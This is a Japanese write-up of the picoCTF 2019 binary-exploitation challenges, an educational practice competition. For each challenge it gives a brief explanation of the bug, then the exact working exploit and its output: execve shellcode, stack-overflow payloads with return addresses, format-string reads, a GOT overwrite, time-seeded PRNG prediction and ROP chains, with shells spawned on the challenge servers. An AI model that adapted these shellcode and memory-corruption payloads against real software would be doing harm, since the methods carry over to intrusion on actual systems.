picoCTF 2019 writeup
picoCTF 2019
いつもどおり yharima で,でも今回も一人だった.
さすがに問題多すぎるというのと, SECCON に向けての練習ということでほぼ pwn しかやらなかった.
7300pts で 1833th. 参加者めちゃくちゃ多いっすね….
数も多いので pwn だけ writeup 書きます.コードは以下.
ctf_log/picoCTF_2019 at master · yuta1024/ctf_log · GitHub
handy-shellcode
32bit のシェルコード流せばOK.
$ (perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\n"'; cat) | ./vuln
Enter your shellcode:
1�Ph//shh/bin��PS��
̀
Thanks! Executing now...
ls
flag.txt vuln vuln.c
cat flag.txt
picoCTF{h4ndY_d4ndY_sh311c0d3_4dc9a786}
practice-run-1
実行するだけ.
$ ./run_this
picoCTF{g3t_r3adY_2_r3v3r53}
OverFlow 0
BOF させるだけ.
$ perl -e 'print "A" x 256' | xargs ./vuln
picoCTF{3asY_P3a5yf663660d}
OverFlow 1
BOF させてフラグ表示する関数に飛ばす.
$ perl -e 'print "A" x 76 . "\xe6\x85\x04\x08"' | ./vuln
Give me a string and lets see what happens:
Woah, were jumping to 0x80485e6 !
picoCTF{n0w_w3r3_ChaNg1ng_r3tURn5b80c9cbf}Segmentation fault (core dumped)
NewOverFlow-1
64bit なだけ.なぜか flag 関数の先頭だとうまくいかなかったのでずらしたら動いた.
$ perl -e 'print "A" x 72 . "\x68\x07\x40\x00\x00\x00\x00\x00\n"' | ./vuln
Welcome to 64-bit. Give me a string that gets you the flag:
picoCTF{th4t_w4snt_t00_d1ff3r3nt_r1ghT?_cfe23f2b}
slippery-shellcode
nop おいて滑らすだけ.
$ (perl -e 'print "\x90" x 256 . "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80\n"'; cat) | ./vuln
Enter your shellcode:
����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�Rh//shh/bin��RS��B
̀
Thanks! Executing from a random location now...
ls
flag.txt vuln vuln.c
cat flag.txt
picoCTF{sl1pp3ry_sh311c0d3_0fb0e7da}
NewOverFlow-2
問題ミスとしか思えない.本当は ROP させたいんだろうけど flag 関数が残ってるので1と同じ.
$ perl -e 'print "A" x 72 . "\x4e\x08\x40\x00\x00\x00\x00\x00\n"' | ./vuln
Welcome to 64-bit. Can you match these numbers?
picoCTF{r0p_1t_d0nT_st0p_1t_e51a1ea0}
OverFlow 2
引数をとるようにするだけ.
$ perl -e 'print "A" x 188 . "\xe6\x85\x04\x08" . "A" x 4 . "\xef\xbe\xad\xde" . "\x0d\xd0\xde\xc0"' | ./vuln
Please enter your string:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAᆳ�
picoCTF{arg5_and_r3turn598632d70}
CanaRy
canary は固定なので 1byte づつ canary を総当たりして leak させる.
全部 leak させたら戻りアドレスの末尾 2byte を display_flag のアドレスにする.
ただし, objdump でみると 000007ed <display_flag> となっており 0xed はいいにしても 0x07 の部分は 0x07 から 0xf7 までとりうる.
これは確定できないので適当な値を決め打ちして何回か実行したらそのうちあたる.
https://github.com/yuta1024/ctf_log/blob/master/picoCTF_2019/canary/canary.py
$ python /tmp/yuta1024/canary.py
[+] Starting local process '/problems/canary_3_257a2a2061c96a7fb8326dbbc04d0328/vuln': pid 3566097
[+] Receiving all data: Done (71B)
[*] Process '/problems/canary_3_257a2a2061c96a7fb8326dbbc04d0328/vuln' stopped with exit code -11 (SIGSEGV) (pid 3566097)
Ok... Now Where's the Flag?
picoCTF{cAnAr135_mU5t_b3_r4nd0m!_0bd260ce}
leap-frog
win1 && !win1 みたいなふざけた条件があって普通に関数をよんでもだめ.
win1, win2, win3 はグローバル変数で連続しているので win1 を引数に gets を読んで 3byte 埋めてから display_flag を呼び出してあげれば良い.
はたして想定解法なのか…?
https://github.com/yuta1024/ctf_log/blob/master/picoCTF_2019/leap-frog/leap-frog.py
$ python /tmp/yuta1024/leap-frog.py
[+] Starting local process '/problems/leap-frog_1_2944cde4843abb6dfd6afa31b00c703c/rop': pid 4130613
[+] Receiving all data: Done (50B)
[*] Process '/problems/leap-frog_1_2944cde4843abb6dfd6afa31b00c703c/rop' stopped with exit code -11 (SIGSEGV) (pid 4130613)
picoCTF{h0p_r0p_t0p_y0uR_w4y_t0_v1ct0rY_f60266f9}
stringzz
FSB があるので適当に %x 並べてフラグが格納されてるアドレス位置をみつけたらそこを %s するだけ.
$ ./vuln
input whatever string you want; then it will be printed back:
%37$s
Now
your input
will be printed:
picoCTF{str1nG_CH3353_0814bc7c}
GoT
タイトル通り GOT を上書きするだけ.
しかもご丁寧にアドレスを読み込んで任意の値にしてくれる.書き換えるのは最後の exit の GOT.
exit の GOT は 0x804a01c で 10進数になおすと 134520860.
win のアドレスは 0x00485c6 で 134514118.
$ ./vuln
You can just overwrite an address, what can you do?
Input address
134520860
Input value?
134514118
The following line should print the flag
picoCTF{A_s0ng_0f_1C3_and_f1r3_9463c919}
seed-sPRiNG
srand(time(NULL)) したあと rand() & 0xf してるだけなので時間さえ合わして同じシードにしたらローカルで計算した乱数と一致する.
サーバタイムは普通に date すればわかるので適当にずれているなら待てばいい.
$ date && nc 2019shell1.picoctf.com 21871
2019年 10月 4日 金曜日 01:06:47 JST
# mmmmm mmmmm " mm m mmm
mmm mmm mmm mmm# mmm # "# # "# mmm #"m # m" "
# " #" # #" # #" "# # " #mmm#" #mmmm" # # #m # # mm
"""m #"""" #"""" # # """m # # "m # # # # # #
"mmm" "#mm" "#mm" "#m## "mmm" # # " mm#mm # ## "mmm"
Welcome! The game is easy: you jump on a sPRiNG.
How high will you fly?
LEVEL (1/30)
Guess the height: 8
LEVEL (2/30)
Guess the height: 6
LEVEL (3/30)
Guess the height: 5
LEVEL (4/30)
Guess the height: 8
LEVEL (5/30)
Guess the height: 13
LEVEL (6/30)
Guess the height: 12
LEVEL (7/30)
Guess the height: 13
LEVEL (8/30)
Guess the height: 15
LEVEL (9/30)
Guess the height: 11
LEVEL (10/30)
Guess the height: 3
LEVEL (11/30)
Guess the height: 14
LEVEL (12/30)
Guess the height: 8
LEVEL (13/30)
Guess the height: 4
LEVEL (14/30)
Guess the height: 1
LEVEL (15/30)
Guess the height: 15
LEVEL (16/30)
Guess the height: 9
LEVEL (17/30)
Guess the height: 8
LEVEL (18/30)
Guess the height: 10
LEVEL (19/30)
Guess the height: 12
LEVEL (20/30)
Guess the height: 7
LEVEL (21/30)
Guess the height: 6
LEVEL (22/30)
Guess the height: 13
LEVEL (23/30)
Guess the height: 5
LEVEL (24/30)
Guess the height: 8
LEVEL (25/30)
Guess the height: 1
LEVEL (26/30)
Guess the height: 1
LEVEL (27/30)
Guess the height: 0
LEVEL (28/30)
Guess the height: 4
LEVEL (29/30)
Guess the height: 5
LEVEL (30/30)
Guess the height: 10
picoCTF{pseudo_random_number_generator_not_so_random_454fbf9b8595fa66a87547e520351217}Congratulation! You've won! Here is your flag:
L1im1tL355
main 関数内で stack に積んでる array[666] は負の index を与えることができる.
replaceIntegerInArrayAtIndex に飛んだ先で戻りアドレスの値を win のアドレスに書き換えてあげればいい.
main から replaceIntegerInArrayAtIndex を呼び出してるので負値の index を与えるといい感じに書き換えれる.
$ ./vuln
Input the integer value you want to put in the array
134514118
Input the index in which you want to put the value
-5
picoCTF{str1nG_CH3353_5243a217}
rop32
/bin/sh がないので gets を使って bss の適当な場所に入力する.
あとはレジスタを pop gadget でいい感じにして int 0x80 してシェルを起動する.
gets は改行がくるとだめなので pop eax; ret; みたいな gadget だとアドレスに 0x0a があってだめだった.
https://github.com/yuta1024/ctf_log/blob/master/picoCTF_2019/rop32/rop32.py
$ python ~/rop32.py
[+] Starting local process '/problems/rop32_1_c4f09c419e5910665553c0237de93dcf/vuln': pid 2046935
[*] Switching to interactive mode
$ ls -l
total 656
-r--r----- 1 hacksports rop32_1 31 Sep 28 21:54 flag.txt
-rwxr-sr-x 1 hacksports rop32_1 661832 Sep 28 21:54 vuln
-rw-rw-r-- 1 hacksports hacksports 466 Sep 28 21:54 vuln.c
$ cat flag.txt
picoCTF{rOp_t0_b1n_sH_b6597626}
rop64
x86_64 にするだけ.
https://github.com/yuta1024/ctf_log/blob/master/picoCTF_2019/rop64/rop64.py
$ python ~/rop64.py
[+] Starting local process '/problems/rop64_4_a266556e68202c0c42d6c14f6c7102b3/vuln': pid 1560430
[*] Switching to interactive mode
$ ls
flag.txt vuln vuln.c
$ cat flag.txt
picoCTF{rOp_t0_b1n_sH_w1tH_n3w_g4dg3t5_5e28dda5}
まとめ
pwn は全部解きたかったけどいつの間にか終わってた.heap 系苦手‥.